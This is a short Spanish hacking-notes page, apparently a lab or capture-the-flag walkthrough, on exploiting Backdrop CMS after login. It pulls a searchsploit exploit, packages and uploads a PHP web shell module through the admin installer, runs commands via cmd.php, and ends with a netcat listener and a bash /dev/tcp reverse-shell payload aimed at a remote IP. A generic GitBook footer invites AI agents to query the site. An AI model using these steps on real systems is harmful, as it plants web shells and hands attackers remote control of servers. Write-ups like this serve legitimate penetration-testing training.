> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Explotación de RCE de Backdrop CMS**

Usa las credenciales descubiertas para iniciar sesión en el CMS.

<figure><img src="/files/98cd15af8cb29f1d521148a263c535bfbf6c1948" alt=""><figcaption></figcaption></figure>

**Investigación de vulnerabilidades**

Utilice **searchsploit** para identificar una vulnerabilidad de RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/c54f5d513b7d6451740d3ed233029a6544c7a877" alt=""><figcaption></figcaption></figure>

Ejecutamos l'exploit :

```bash
python3 52021.py http://10.10.11.58
```

Esto genera un archivo ZIP que contiene una shell en PHP.

<figure><img src="/files/c4e8c248fecddc623c2b0d061b1743ac348df6d9" alt=""><figcaption></figcaption></figure>

Comprime la shell como **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/f77538cc7750296ca7c931d6948dda792524371a" alt=""><figcaption></figcaption></figure>

Súbelo a través de **admin / installer / manual**.

<figure><img src="/files/cd3348c0b96ec879a0d0c05f82d23d5146ebc8b3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d7c1b424ddaac5281407e9aea2626fce7b65f38e" alt=""><figcaption></figcaption></figure>

**Ejecución de comandos**

El **modules/cmd/** la carpeta contiene **cmd.php**.

<figure><img src="/files/3fecc56c73ba499d2585e56ab18cda1377c67ad4" alt=""><figcaption></figcaption></figure>

Esto permite la ejecución de comandos:

```bash
ifconfig 
```

<figure><img src="/files/39b71b7102c203ed41a042541bf492d5bdf17a25" alt=""><figcaption></figcaption></figure>

### **Shell inversa de Backdrop CMS**

Abre un listener en el puerto 443:

```bash
nc -nlvp 443 
```

Inyecta un payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/ca404b5256ab16dfbd0516f54638a3f660ede266" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
